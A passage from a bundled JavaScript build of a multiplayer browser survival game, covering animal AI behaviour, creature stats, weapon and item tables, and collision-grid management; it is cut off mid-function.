                                    var tmpObj, tmpDst;
                                    for (var t = 0; t < tmpList.length; ++t) {
                                        for (var x = 0; x < tmpList[t].length; ++x) {
                                            tmpObj = tmpList[t][x];
                                            if (tmpObj.health) {
                                                tmpDst = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y);
                                                if (tmpDst < tmpObj.scale + this.hitRange) {
                                                    if (tmpObj.changeHealth(-this.dmg * 5)) objectManager.disableObj(tmpObj);
                                                    objectManager.hitObj(tmpObj, UTILS.getDirection(this.x, this.y, tmpObj.x, tmpObj.y));
                                                }
                                            }
                                        }
                                    }
                                    for (var x = 0; x < players.length; ++x) {
                                        if (players[x].canSee(this)) {
                                            server.send(players[x].id, "aa", this.sid);
                                        }
                                    }
                                }
                            }

                            // PLAYER COLLISIONS:
                            if (charging || hitting) {
                                var tmpObj, tmpDst, tmpDir;
                                for (var i = 0; i < players.length; ++i) {
                                    tmpObj = players[i];
                                    if (tmpObj && tmpObj.alive) {
                                        tmpDst = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y);
                                        if (this.hitRange) {
                                            if  (!this.hitWait && tmpDst <= this.hitRange + tmpObj.scale) {
                                                if (hitting) {
                                                    tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                                    tmpObj.changeHealth(-this.dmg);
                                                    tmpObj.xVel += 0.6 * Math.cos(tmpDir);
                                                    tmpObj.yVel += 0.6 * Math.sin(tmpDir);
                                                    this.runFrom = null;
                                                    this.chargeTarget = null;
                                                    this.waitCount = 3000;
                                                    this.hitWait = (!UTILS.randInt(0, 2)?600:0);
                                                } else this.hitWait = this.hitDelay;
                                            }
                                        } else if (tmpDst <= this.scale + tmpObj.scale) {
                                            tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                            tmpObj.changeHealth(-this.dmg);
                                            tmpObj.xVel += 0.55 * Math.cos(tmpDir);
                                            tmpObj.yVel += 0.55 * Math.sin(tmpDir);
                                        }
                                    }
                                }
                            }

                            // DECEL:
                            if (this.xVel)
                                this.xVel *= Math.pow(config.playerDecel, delta);
                            if (this.yVel)
                                this.yVel *= Math.pow(config.playerDecel, delta);

                            // MAP BOUNDARIES:
                            var tmpScale = this.scale;
                            if (this.x - tmpScale < 0) {
                                this.x = tmpScale;
                                this.xVel = 0;
                            } else if (this.x + tmpScale > config.mapScale) {
                                this.x = config.mapScale - tmpScale;
                                this.xVel = 0;
                            } if (this.y - tmpScale < 0) {
                                this.y = tmpScale;
                                this.yVel = 0;
                            } else if (this.y + tmpScale > config.mapScale) {
                                this.y = config.mapScale - tmpScale;
                                this.yVel = 0;
                            }

                        }
                    };

                    // CAN SEE:
                    this.canSee = function(other) {
                        if (!other) return false;
                        if (other.skin && other.skin.invisTimer && other.noMovTimer
                            >= other.skin.invisTimer) return false;
                        var dx = Math.abs(other.x - this.x) - other.scale;
                        var dy = Math.abs(other.y - this.y) - other.scale;
                        return dx <= (config.maxScreenWidth / 2) * 1.3 && dy <= (config.maxScreenHeight / 2) * 1.3;
                    };

                    var tmpRatio = 0;
                    var animIndex = 0;
                    this.animate = function(delta) {
                        if (this.animTime > 0) {
                            this.animTime -= delta;
                            if (this.animTime <= 0) {
                                this.animTime = 0;
                                this.dirPlus = 0;
                                tmpRatio = 0;
                                animIndex = 0;
                            } else {
                                if (animIndex == 0) {
                                    tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
                                    if (tmpRatio >= 1) {
                                        tmpRatio = 1;
                                        animIndex = 1;
                                    }
                                } else {
                                    tmpRatio -= delta / (this.animSpeed * (1-config.hitReturnRatio));
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
                                }
                            }
                        }
                    };

                    // ANIMATION:
                    this.startAnim = function() {
                        this.animTime = this.animSpeed = 600;
                        this.targetAngle = Math.PI * 0.8;
                        tmpRatio = 0;
                        animIndex = 0;
                    };

                    // CHANGE HEALTH:
                    this.changeHealth = function(val, doer, runFrom) {
                        if (this.active) {
                            this.health += val;
                            if (runFrom) {
                                if (this.hitScare && !UTILS.randInt(0, this.hitScare)) {
                                    this.runFrom = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 2000;
                                } else if (this.hostile && this.chargePlayer && runFrom.isPlayer) {
                                    this.chargeTarget = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 8000;
                                } else if (!this.dontRun) {
                                    this.runFrom = runFrom;
                                    this.waitCount = 0;
                                    this.moveCount = 2000;
                                }
                            }
                            if (val < 0 && this.hitRange && UTILS.randInt(0, 1)) this.hitWait = 500;
                            if (doer && doer.canSee(this) && val < 0) {
                                server.send(doer.id, "t", Math.round(this.x),
                                            Math.round(this.y), Math.round(-val), 1);
                            } if (this.health <= 0) {
                                if (this.spawnDelay) {
                                    this.spawnCounter = this.spawnDelay;
                                    this.x = -1000000;
                                    this.y = -1000000;
                                } else {
                                    this.x = this.startX||UTILS.randInt(0, config.mapScale);
                                    this.y = this.startY||UTILS.randInt(0, config.mapScale);
                                }
                                this.health = this.maxHealth;
                                this.runFrom = null;
                                if (doer) {
                                    scoreCallback(doer, this.killScore);
                                    if (this.drop) {
                                        for (var i = 0; i < this.drop.length;) {
                                            doer.addResource(config.resourceTypes.indexOf(this.drop[i]), this.drop[i+1]);
                                            i+=2;
                                        }
                                    }
                                }
                            }
                        }
                    };

                };


                /***/ }),

            /***/ "./src/js/data/aiManager.js":
            /*!**********************************!*\
  !*** ./src/js/data/aiManager.js ***!
  \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // AI MANAGER:
                module.exports = function(ais, AI, players, items, objectManager, config, UTILS, scoreCallback, server) {

                    // AI TYPES:
                    this.aiTypes = [{
                        id: 0,
                        src: "cow_1",
                        killScore: 150,
                        health: 500,
                        weightM: 0.8,
                        speed: 0.00095,
                        turnSpeed: 0.001,
                        scale: 72,
                        drop: ["food", 50]
                    }, {
                        id: 1,
                        src: "pig_1",
                        killScore: 200,
                        health: 800,
                        weightM: 0.6,
                        speed: 0.00085,
                        turnSpeed: 0.001,
                        scale: 72,
                        drop: ["food", 80]
                    }, {
                        id: 2,
                        name: "Bull",
                        src: "bull_2",
                        hostile: true,
                        dmg: 20,
                        killScore: 1000,
                        health: 1800,
                        weightM: 0.5,
                        speed: 0.00094,
                        turnSpeed: 0.00074,
                        scale: 78,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 100]
                    }, {
                        id: 3,
                        name: "Bully",
                        src: "bull_1",
                        hostile: true,
                        dmg: 20,
                        killScore: 2000,
                        health: 2800,
                        weightM: 0.45,
                        speed: 0.001,
                        turnSpeed: 0.0008,
                        scale: 90,
                        viewRange: 900,
                        chargePlayer: true,
                        drop: ["food", 400]
                    }, {
                        id: 4,
                        name: "Wolf",
                        src: "wolf_1",
                        hostile: true,
                        dmg: 8,
                        killScore: 500,
                        health: 300,
                        weightM: 0.45,
                        speed: 0.001,
                        turnSpeed: 0.002,
                        scale: 84,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 200]
                    }, {
                        id: 5,
                        name: "Quack",
                        src: "chicken_1",
                        dmg: 8,
                        killScore: 2000,
                        noTrap: true,
                        health: 300,
                        weightM: 0.2,
                        speed: 0.0018,
                        turnSpeed: 0.006,
                        scale: 70,
                        drop: ["food", 100]
                    }, {
                        id: 6,
                        name: "MOOSTAFA",
                        nameScale: 50,
                        src: "enemy",
                        hostile: true,
                        dontRun: true,
                        fixedSpawn: true,
                        spawnDelay: 60000,
                        noTrap: true,
                        colDmg: 100,
                        dmg: 40,
                        killScore: 8000,
                        health: 18000,
                        weightM: 0.4,
                        speed: 0.0007,
                        turnSpeed: 0.01,
                        scale: 80,
                        spriteMlt: 1.8,
                        leapForce: 0.9,
                        viewRange: 1000,
                        hitRange: 210,
                        hitDelay: 1000,
                        chargePlayer: true,
                        drop: ["food", 100]
                    }, {
                        id: 7,
                        name: "Treasure",
                        hostile: true,
                        nameScale: 35,
                        src: "crate_1",
                        fixedSpawn: true,
                        spawnDelay: 120000,
                        colDmg: 200,
                        killScore: 5000,
                        health: 20000,
                        weightM: 0.1,
                        speed: 0.0,
                        turnSpeed: 0.0,
                        scale: 70,
                        spriteMlt: 1.0
                    }, {
                        id: 8,
                        name: "MOOFIE",
                        src: "wolf_2",
                        hostile: true,
                        fixedSpawn: true,
                        dontRun: true,
                        hitScare: 4,
                        spawnDelay: 30000,
                        noTrap: true,
                        nameScale: 35,
                        dmg: 10,
                        colDmg: 100,
                        killScore: 3000,
                        health: 7000,
                        weightM: 0.45,
                        speed: 0.0015,
                        turnSpeed: 0.002,
                        scale: 90,
                        viewRange: 800,
                        chargePlayer: true,
                        drop: ["food", 1000]
                    }];

                    // SPAWN AI:
                    this.spawn = function(x, y, dir, index) {
                        var tmpObj;
                        for (var i = 0; i < ais.length; ++i) {
                            if (!ais[i].active) {
                                tmpObj = ais[i];
                                break;
                            }
                        }
                        if (!tmpObj) {
                            tmpObj = new AI(ais.length, objectManager, players, items, UTILS, config, scoreCallback, server);
                            ais.push(tmpObj);
                        }
                        tmpObj.init(x, y, dir, index, this.aiTypes[index]);
                        return tmpObj;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/gameObject.js":
            /*!***********************************!*\
  !*** ./src/js/data/gameObject.js ***!
  \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (sid) {
                    this.sid = sid;

                    // INIT:
                    this.init = function(x, y, dir, scale, type, data, owner) {
                        data = data||{};
                        this.sentTo = {};
                        this.gridLocations = [];
                        this.active = true;
                        this.doUpdate = data.doUpdate;
                        this.x = x;
                        this.y = y;
                        this.dir = dir;
                        this.xWiggle = 0;
                        this.yWiggle = 0;
                        this.scale = scale;
                        this.type = type;
                        this.id = data.id;
                        this.owner = owner;
                        this.name = data.name;
                        this.isItem = (this.id!=undefined);
                        this.group = data.group;
                        this.health = data.health;
                        this.layer = 2;
                        if (this.group != undefined) {
                            this.layer = this.group.layer;
                        } else if (this.type == 0) {
                            this.layer = 3;
                        } else if (this.type == 2) {
                            this.layer = 0;
                        }  else if (this.type == 4) {
                            this.layer = -1;
                        }
                        this.colDiv = data.colDiv||1;
                        this.blocker = data.blocker;
                        this.ignoreCollision = data.ignoreCollision;
                        this.dontGather = data.dontGather;
                        this.hideFromEnemy = data.hideFromEnemy;
                        this.friction = data.friction;
                        this.projDmg = data.projDmg;
                        this.dmg = data.dmg;
                        this.pDmg = data.pDmg;
                        this.pps = data.pps;
                        this.zIndex = data.zIndex||0;
                        this.turnSpeed = data.turnSpeed;
                        this.req = data.req;
                        this.trap = data.trap;
                        this.healCol = data.healCol;
                        this.teleport = data.teleport;
                        this.boostSpeed = data.boostSpeed;
                        this.projectile = data.projectile;
                        this.shootRange = data.shootRange;
                        this.shootRate = data.shootRate;
                        this.shootCount = this.shootRate;
                        this.spawnPoint = data.spawnPoint;
                    };

                    // GET HIT:
                    this.changeHealth = function(amount, doer) {
                        this.health += amount;
                        return (this.health <= 0);
                    };

                    // GET SCALE:
                    this.getScale = function(sM, ig) {
                        sM = sM||1;
                        return this.scale * ((this.isItem||this.type==2||this.type==3||this.type==4)
                                             ?1:(0.6*sM)) * (ig?1:this.colDiv);
                    };

                    // VISIBLE TO PLAYER:
                    this.visibleToPlayer = function(player) {
                        return !(this.hideFromEnemy) || (this.owner && (this.owner == player ||
                                                                        (this.owner.team && player.team == this.owner.team)));
                    };

                    // UPDATE:
                    this.update = function(delta) {
                        if (this.active) {
                            if (this.xWiggle) {
                                this.xWiggle *= Math.pow(0.99, delta);
                            } if (this.yWiggle) {
                                this.yWiggle *= Math.pow(0.99, delta);
                            }
                            if (this.turnSpeed) {
                                this.dir += this.turnSpeed * delta;
                            }
                        }
                    };
                };


                /***/ }),

            /***/ "./src/js/data/items.js":
            /*!******************************!*\
  !*** ./src/js/data/items.js ***!
  \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // ITEM GROUPS:
                module.exports.groups = [{
                    id: 0,
                    name: "food",
                    layer: 0
                }, {
                    id: 1,
                    name: "walls",
                    place: true,
                    limit: 30,
                    layer: 0
                }, {
                    id: 2,
                    name: "spikes",
                    place: true,
                    limit: 15,
                    layer: 0
                }, {
                    id: 3,
                    name: "mill",
                    place: true,
                    limit: 7,
                    layer: 1
                }, {
                    id: 4,
                    name: "mine",
                    place: true,
                    limit: 1,
                    layer: 0
                }, {
                    id: 5,
                    name: "trap",
                    place: true,
                    limit: 6,
                    layer: -1
                }, {
                    id: 6,
                    name: "booster",
                    place: true,
                    limit: 12,
                    layer: -1
                }, {
                    id: 7,
                    name: "turret",
                    place: true,
                    limit: 2,
                    layer: 1
                }, {
                    id: 8,
                    name: "watchtower",
                    place: true,
                    limit: 12,
                    layer: 1
                }, {
                    id: 9,
                    name: "buff",
                    place: true,
                    limit: 4,
                    layer: -1
                }, {
                    id: 10,
                    name: "spawn",
                    place: true,
                    limit: 1,
                    layer: -1
                }, {
                    id: 11,
                    name: "sapling",
                    place: true,
                    limit: 2,
                    layer: 0
                }, {
                    id: 12,
                    name: "blocker",
                    place: true,
                    limit: 3,
                    layer: -1
                }, {
                    id: 13,
                    name: "teleporter",
                    place: true,
                    limit: 2,
                    layer: -1
                }];

                // PROJECTILES:
                exports.projectiles = [{
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 25,
                    speed: 1.6,
                    scale: 103,
                    range: 1000
                }, {
                    indx: 1,
                    layer: 1,
                    dmg: 25,
                    scale: 20
                }, {
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 35,
                    speed: 2.5,
                    scale: 103,
                    range: 1200
                }, {
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 30,
                    speed: 2,
                    scale: 103,
                    range: 1200
                }, {
                    indx: 1,
                    layer: 1,
                    dmg: 16,
                    scale: 20
                }, {
                    indx: 0,
                    layer: 0,
                    src: "bullet_1",
                    dmg: 50,
                    speed: 3.6,
                    scale: 160,
                    range: 1400
                }];

                // WEAPONS:
                exports.weapons = [{
                    id: 0,
                    type: 0,
                    name: "tool hammer",
                    desc: "tool for gathering all resources",
                    src: "hammer_1",
                    length: 140,
                    width: 140,
                    xOff: -3,
                    yOff: 18,
                    dmg: 25,
                    range: 65,
                    gather: 1,
                    speed: 300
                }, {
                    id: 1,
                    type: 0,
                    age: 2,
                    name: "hand axe",
                    desc: "gathers resources at a higher rate",
                    src: "axe_1",
                    length: 140,
                    width: 140,
                    xOff: 3,
                    yOff: 24,
                    dmg: 30,
                    spdMult: 1,
                    range: 70,
                    gather: 2,
                    speed: 400
                }, {
                    id: 2,
                    type: 0,
                    age: 8,
                    pre: 1,
                    name: "great axe",
                    desc: "deal more damage and gather more resources",
                    src: "great_axe_1",
                    length: 140,
                    width: 140,
                    xOff: -8,
                    yOff: 25,
                    dmg: 35,
                    spdMult: 1,
                    range: 75,
                    gather: 4,
                    speed: 400
                }, {
                    id: 3,
                    type: 0,
                    age: 2,
                    name: "short sword",
                    desc: "increased attack power but slower move speed",
                    src: "sword_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 46,
                    dmg: 35,
                    spdMult: 0.85,
                    range: 110,
                    gather: 1,
                    speed: 300
                }, {
                    id: 4,
                    type: 0,
                    age: 8,
                    pre: 3,
                    name: "katana",
                    desc: "greater range and damage",
                    src: "samurai_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 59,
                    dmg: 40,
                    spdMult: 0.8,
                    range: 118,
                    gather: 1,
                    speed: 300
                }, {
                    id: 5,
                    type: 0,
                    age: 2,
                    name: "polearm",
                    desc: "long range melee weapon",
                    src: "spear_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 53,
                    dmg: 45,
                    knock: 0.2,
                    spdMult: 0.82,
                    range: 142,
                    gather: 1,
                    speed: 700
                }, {
                    id: 6,
                    type: 0,
                    age: 2,
                    name: "bat",
                    desc: "fast long range melee weapon",
                    src: "bat_1",
                    iPad: 1.3,
                    length: 110,
                    width: 180,
                    xOff: -8,
                    yOff: 53,
                    dmg: 20,
                    knock: 0.7,
                    range: 110,
                    gather: 1,
                    speed: 300
                }, {
                    id: 7,
                    type: 0,
                    age: 2,
                    name: "daggers",
                    desc: "really fast short range weapon",
                    src: "dagger_1",
                    iPad: 0.8,
                    length: 110,
                    width: 110,
                    xOff: 18,
                    yOff: 0,
                    dmg: 20,
                    knock: 0.1,
                    range: 65,
                    gather: 1,
                    hitSlow: 0.1,
                    spdMult: 1.13,
                    speed: 100
                }, {
                    id: 8,
                    type: 0,
                    age: 2,
                    name: "stick",
                    desc: "great for gathering but very weak",
                    src: "stick_1",
                    length: 140,
                    width: 140,
                    xOff: 3,
                    yOff: 24,
                    dmg: 1,
                    spdMult: 1,
                    range: 70,
                    gather: 7,
                    speed: 400
                }, {
                    id: 9,
                    type: 1,
                    age: 6,
                    name: "hunting bow",
                    desc: "bow used for ranged combat and hunting",
                    src: "bow_1",
                    req: ["wood", 4],
                    length: 120,
                    width: 120,
                    xOff: -6,
                    yOff: 0,
                    projectile: 0,
                    spdMult: 0.75,
                    speed: 600
                }, {
                    id: 10,
                    type: 1,
                    age: 6,
                    name: "great hammer",
                    desc: "hammer used for destroying structures",
                    src: "great_hammer_1",
                    length: 140,
                    width: 140,
                    xOff: -9,
                    yOff: 25,
                    dmg: 10,
                    spdMult: 0.88,
                    range: 75,
                    sDmg: 7.5,
                    gather: 1,
                    speed: 400
                }, {
                    id: 11,
                    type: 1,
                    age: 6,
                    name: "wooden shield",
                    desc: "blocks projectiles and reduces melee damage",
                    src: "shield_1",
                    length: 120,
                    width: 120,
                    shield: 0.2,
                    xOff: 6,
                    yOff: 0,
                    spdMult: 0.7
                }, {
                    id: 12,
                    type: 1,
                    age: 8,
                    pre: 9,
                    name: "crossbow",
                    desc: "deals more damage and has greater range",
                    src: "crossbow_1",
                    req: ["wood", 5],
                    aboveHand: true,
                    armS: 0.75,
                    length: 120,
                    width: 120,
                    xOff: -4,
                    yOff: 0,
                    projectile: 2,
                    spdMult: 0.7,
                    speed: 700
                }, {
                    id: 13,
                    type: 1,
                    age: 9,
                    pre: 12,
                    name: "repeater crossbow",
                    desc: "high firerate crossbow with reduced damage",
                    src: "crossbow_2",
                    req: ["wood", 10],
                    aboveHand: true,
                    armS: 0.75,
                    length: 120,
                    width: 120,
                    xOff: -4,
                    yOff: 0,
                    projectile: 3,
                    spdMult: 0.7,
                    speed: 230
                }, {
                    id: 14,
                    type: 1,
                    age: 6,
                    name: "mc grabby",
                    desc: "steals resources from enemies",
                    src: "grab_1",
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 53,
                    dmg: 0,
                    steal: 250,
                    knock: 0.2,
                    spdMult: 1.05,
                    range: 125,
                    gather: 0,
                    speed: 700
                }, {
                    id: 15,
                    type: 1,
                    age: 9,
                    pre: 12,
                    name: "musket",
                    desc: "slow firerate but high damage and range",
                    src: "musket_1",
                    req: ["stone", 10],
                    aboveHand: true,
                    rec: 0.35,
                    armS: 0.6,
                    hndS: 0.3,
                    hndD: 1.6,
                    length: 205,
                    width: 205,
                    xOff: 25,
                    yOff: 0,
                    projectile: 5,
                    hideProjectile: true,
                    spdMult: 0.6,
                    speed: 1500
                }];

                // ITEMS:
                module.exports.list = [{
                    group: module.exports.groups[0],
                    name: "apple",
                    desc: "restores 20 health when consumed",
                    req: ["food", 10],
                    consume: function(doer) {
                        return doer.changeHealth(20, doer);
                    },
                    scale: 22,
                    holdOffset: 15
                }, {
                    age: 3,
                    group: module.exports.groups[0],
                    name: "cookie",
                    desc: "restores 40 health when consumed",
                    req: ["food", 15],
                    consume: function(doer) {
                        return doer.changeHealth(40, doer);
                    },
                    scale: 27,
                    holdOffset: 15
                }, {
                    age: 7,
                    group: module.exports.groups[0],
                    name: "cheese",
                    desc: "restores 30 health and another 50 over 5 seconds",
                    req: ["food", 25],
                    consume: function(doer) {
                        if (doer.changeHealth(30, doer) || doer.health < 100) {
                            doer.dmgOverTime.dmg = -10;
                            doer.dmgOverTime.doer = doer;
                            doer.dmgOverTime.time = 5;
                            return true;
                        }
                        return false;
                    },
                    scale: 27,
                    holdOffset: 15
                }, {
                    group: module.exports.groups[1],
                    name: "wood wall",
                    desc: "provides protection for your village",
                    req: ["wood", 10],
                    projDmg: true,
                    health: 380,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 3,
                    group: module.exports.groups[1],
                    name: "stone wall",
                    desc: "provides improved protection for your village",
                    req: ["stone", 25],
                    health: 900,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    pre: 1,
                    group: module.exports.groups[1],
                    name: "castle wall",
                    desc: "provides powerful protection for your village",
                    req: ["stone", 35],
                    health: 1500,
                    scale: 52,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    group: module.exports.groups[2],
                    name: "spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 20, "stone", 5],
                    health: 400,
                    dmg: 20,
                    scale: 49,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 5,
                    group: module.exports.groups[2],
                    name: "greater spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 30, "stone", 10],
                    health: 500,
                    dmg: 35,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 9,
                    pre: 1,
                    group: module.exports.groups[2],
                    name: "poison spikes",
                    desc: "poisons enemies when they touch them",
                    req: ["wood", 35, "stone", 15],
                    health: 600,
                    dmg: 30,
                    pDmg: 5,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 9,
                    pre: 2,
                    group: module.exports.groups[2],
                    name: "spinning spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 30, "stone", 20],
                    health: 500,
                    dmg: 45,
                    turnSpeed: 0.003,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    group: module.exports.groups[3],
                    name: "windmill",
                    desc: "generates gold over time",
                    req: ["wood", 50, "stone", 10],
                    health: 400,
                    pps: 1,
                    turnSpeed: 0.0016,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 5,
                    pre: 1,
                    group: module.exports.groups[3],
                    name: "faster windmill",
                    desc: "generates more gold over time",
                    req: ["wood", 60, "stone", 20],
                    health: 500,
                    pps: 1.5,
                    turnSpeed: 0.0025,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 47,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 8,
                    pre: 1,
                    group: module.exports.groups[3],
                    name: "power mill",
                    desc: "generates more gold over time",
                    req: ["wood", 100, "stone", 50],
                    health: 800,
                    pps: 2,
                    turnSpeed: 0.005,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 47,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 5,
                    group: module.exports.groups[4],
                    type: 2,
                    name: "mine",
                    desc: "allows you to mine stone",
                    req: ["wood", 20, "stone", 100],
                    iconLineMult: 12,
                    scale: 65,
                    holdOffset: 20,
                    placeOffset: 0
                }, {
                    age: 5,
                    group: module.exports.groups[11],
                    type: 0,
                    name: "sapling",
                    desc: "allows you to farm wood",
                    req: ["wood", 150],
                    iconLineMult: 12,
                    colDiv: 0.5,
                    scale: 110,
                    holdOffset: 50,
                    placeOffset: -15
                }, {
                    age: 4,
                    group: module.exports.groups[5],
                    name: "pit trap",
                    desc: "pit that traps enemies if they walk over it",
                    req: ["wood", 30, "stone", 30],
                    trap: true,
                    ignoreCollision: true,
                    hideFromEnemy: true,
                    health: 500,
                    colDiv: 0.2,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 4,
                    group: module.exports.groups[6],
                    name: "boost pad",
                    desc: "provides boost when stepped on",
                    req: ["stone", 20, "wood", 5],
                    ignoreCollision: true,
                    boostSpeed: 1.5,
                    health: 150,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[7],
                    doUpdate: true,
                    name: "turret",
                    desc: "defensive structure that shoots at enemies",
                    req: ["wood", 200, "stone", 150],
                    health: 800,
                    projectile: 1,
                    shootRange: 700,
                    shootRate: 2200,
                    scale: 43,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[8],
                    name: "platform",
                    desc: "platform to shoot over walls and cross over water",
                    req: ["wood", 20],
                    ignoreCollision: true,
                    zIndex: 1,
                    health: 300,
                    scale: 43,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[9],
                    name: "healing pad",
                    desc: "standing on it will slowly heal you",
                    req: ["wood", 30, "food", 10],
                    ignoreCollision: true,
                    healCol: 15,
                    health: 400,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 9,
                    group: module.exports.groups[10],
                    name: "spawn pad",
                    desc: "you will spawn here when you die but it will dissapear",
                    req: ["wood", 100, "stone", 100],
                    health: 400,
                    ignoreCollision: true,
                    spawnPoint: true,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[12],
                    name: "blocker",
                    desc: "blocks building in radius",
                    req: ["wood", 30, "stone", 25],
                    ignoreCollision: true,
                    blocker: 300,
                    health: 400,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[13],
                    name: "teleporter",
                    desc: "teleports you to a random point on the map",
                    req: ["wood", 60, "stone", 60],
                    ignoreCollision: true,
                    teleport: true,
                    health: 200,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }];

                // ASSIGN IDS:
                for (var i = 0; i < module.exports.list.length; ++i) {
                    module.exports.list[i].id = i;
                    if (module.exports.list[i].pre) module.exports.list[i].pre = i - module.exports.list[i].pre;
                }

                // TROLOLOLOL:
                if (typeof window !== "undefined") {
                    function shuffle(a) {
                        for (let i = a.length - 1; i > 0; i--) {
                            const j = Math.floor(Math.random() * (i + 1));
                            [a[i], a[j]] = [a[j], a[i]];
                        }
                        return a;
                    }
                }


                /***/ }),

            /***/ "./src/js/data/mapManager.js":
            /*!***********************************!*\
  !*** ./src/js/data/mapManager.js ***!
  \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // GLOBAL MAPMANAGER:
                module.exports = {}

                /***/ }),

            /***/ "./src/js/data/objectManager.js":
            /*!**************************************!*\
  !*** ./src/js/data/objectManager.js ***!
  \**************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var mathFloor = Math.floor;
                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                module.exports = function (GameObject, gameObjects, UTILS, config, players, server) {
                    this.objects = gameObjects;
                    this.grids = {};
                    this.updateObjects = [];

                    // SET OBJECT GRIDS:
                    var tmpX, tmpY;
                    var tmpS = config.mapScale/config.colGrid;
                    this.setObjectGrids = function(obj) {
                        var objX = Math.min(config.mapScale, Math.max(0, obj.x));
                        var objY = Math.min(config.mapScale, Math.max(0, obj.y));
                        for (var x = 0; x < config.colGrid; ++x) {
                            tmpX = x * tmpS;
                            for (var y = 0; y < config.colGrid; ++y) {
                                tmpY = y * tmpS;
                                if (objX + obj.scale >= tmpX && objX - obj.scale <= tmpX + tmpS &&
                                    objY + obj.scale >= tmpY && objY - obj.scale <= tmpY + tmpS) {
                                    if (!this.grids[x + "_" + y])
                                        this.grids[x + "_" + y] = [];
                                    this.grids[x + "_" + y].push(obj);
                                    obj.gridLocations.push(x + "_" + y);
                                }
                            }
                        }
                    };

                    // REMOVE OBJECT FROM GRID:
                    this.removeObjGrid = function(obj) {
                        var tmpIndx;
                        for (var i = 0; i < obj.gridLocations.length; ++i) {
                            tmpIndx = this.grids[obj.gridLocations[i]].indexOf(obj);
                            if (tmpIndx >= 0) {
                                this.grids[obj.gridLocations[i]].splice(tmpIndx, 1);
                            }
                        }
                    };

                    // DISABLE OBJ:
                    this.disableObj = function(obj) {
                        obj.active = false;
                        if (server) {
                            if (obj.owner && obj.pps) obj.owner.pps -= obj.pps;
                            this.removeObjGrid(obj);
                            var tmpIndx = this.updateObjects.indexOf(obj);
                            if (tmpIndx >= 0) {
                                this.updateObjects.splice(tmpIndx, 1);
                            }
                        }
                    };

                    // HIT OBJECT:
                    this.hitObj = function(tmpObj, tmpDir) {

                        for (var p = 0; p < players.length; ++p) {
                            if (players[p].active) {
                                if (tmpObj.sentTo[players[p].id]) {
                                    if (!tmpObj.active) server.send(players[p].id, "12", tmpObj.sid);
                                    else if (players[p].canSee(tmpObj))
                                        server.send(players[p].id, "8", UTILS.fixTo(tmpDir, 1), tmpObj.sid)
                                    ;
                                } if (!tmpObj.active && tmpObj.owner == players[p])
                                    players[p].changeItemCount(tmpObj.group.id, -1);
                            }
                        }
                    };

                    // GET GRID ARRAY:
                    var tmpArray = [];
                    var tmpGrid;
                    this.getGridArrays = function(xPos, yPos, s) {
                        tmpX = mathFloor(xPos / tmpS);
                        tmpY = mathFloor(yPos / tmpS);
                        tmpArray.length = 0;
                        try {
